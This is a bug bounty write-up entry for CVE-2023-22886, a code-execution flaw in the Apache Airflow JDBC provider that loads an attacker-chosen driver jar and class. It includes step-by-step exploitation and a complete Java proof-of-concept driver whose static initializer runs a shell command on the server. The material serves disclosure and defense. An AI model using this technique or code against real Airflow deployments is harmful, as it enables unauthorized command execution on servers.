# jdbc apache airflow provider code execution vulnerability

Airflow JDBC provider let users set arbitrary Driver Path and Driver Class, so a malicious JDBC jar executed code on the Airflow server when testing the connection.

- Payout: $520
- Severity: low
- Program: Internet Bug Bounty
- Found by (vendor credit): heart Y, happyhacking
- Found by: kmhlyxj0
- Disclosed: 2023-08-26
- CVE: CVE-2023-22886
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2065288
- Library page: https://bugbountylibrary.com/r/h1%3A2065288
- Tags: area:web domain:web impact:privesc impact:rce kind:bounty platform:hackerone sev:low tech:java technique:source-review vuln:privilege-escalation vuln:rce

**Target:** Apache Airflow JDBC Provider (JdbcHook connection config)
**Root cause:** JdbcHook accepted user-controlled Driver Path and Driver Class without restriction, loading and instantiating an arbitrary Java class from a user-supplied jar.
**Steps:**
1. Build a malicious JDBC Driver class whose static initializer runs `Runtime.getRuntime().exec(...)` and registers itself via `DriverManager.registerDriver`.
2. Package it into a jar.
3. In Airflow Connection config, set `driver path` to the jar path and `driver class` to the malicious class name.
4. Click the connection Test button; the static initializer executes on the Airflow server (e.g. writes `/tmp/airflow-jdbc.txt`).
**How found:** Researcher noticed the JDBC hook exposed Driver Path and Driver Class as user-controllable connection parameters, hypothesized that arbitrary class loading would execute code, and confirmed via a malicious Driver with a static initializer.
**Exploitation:** Any user able to create/edit a JDBC connection supplies a jar path and class name; clicking Test causes Airflow to load the class, triggering the static initializer and running arbitrary shell commands with the Airflow server's privileges.
**Insight:** When a product exposes a 'driver path'/'driver class' or plugin-loading field in user-editable config, treat it as a code-execution sink: a static initializer in a loaded class runs before any validation, so the Test/connect button alone is enough.

## Proof of concept (copied exactly from the original report)

**Malicious JDBC Driver class executing whoami**

```
import java.io.*;
import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;

public class Test implements Driver {

    static {
        try {
            cmd();
            DriverManager.registerDriver(new Test());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public Connection connect(String url, Properties info) throws SQLException {
        return null;
    }

    @Override
    public boolean acceptsURL(String url) throws SQLException {
        try {
            cmd();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        // 验证URL是否为该驱动程序所支持的URL
        return url.startsWith("jdbc:mydb:");
    }

    @Override
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
        return new DriverPropertyInfo[0];
    }

    @Override
    public int getMajorVersion() {
        return 1;
    }

    @Override
    public int getMinorVersion() {
        return 0;
    }

    @Override
    public boolean jdbcCompliant() {
        return false;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }

    public static void cmd() throws IOException {
        String[] cmd = {"sh", "-c", "whoami"}; 
        Process p = Runtime.getRuntime().exec(cmd);
        InputStream in = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
        File outputFile = new File("/tmp/airflow-jdbc.txt");
        BufferedWriter writer = new BufferedWriter(new FileWriter(outputFile));
        String line;
        while ((line = reader.readLine()) != null) {
            writer.write(line);
            writer.newLine();
        }
        writer.close();
    }
}
```

**Steps to configure driver path and class**

```
Fill in the `driver path` with the path of jar package generated in the previous step. 
Fill in the `driver class` with the value of Test.
```

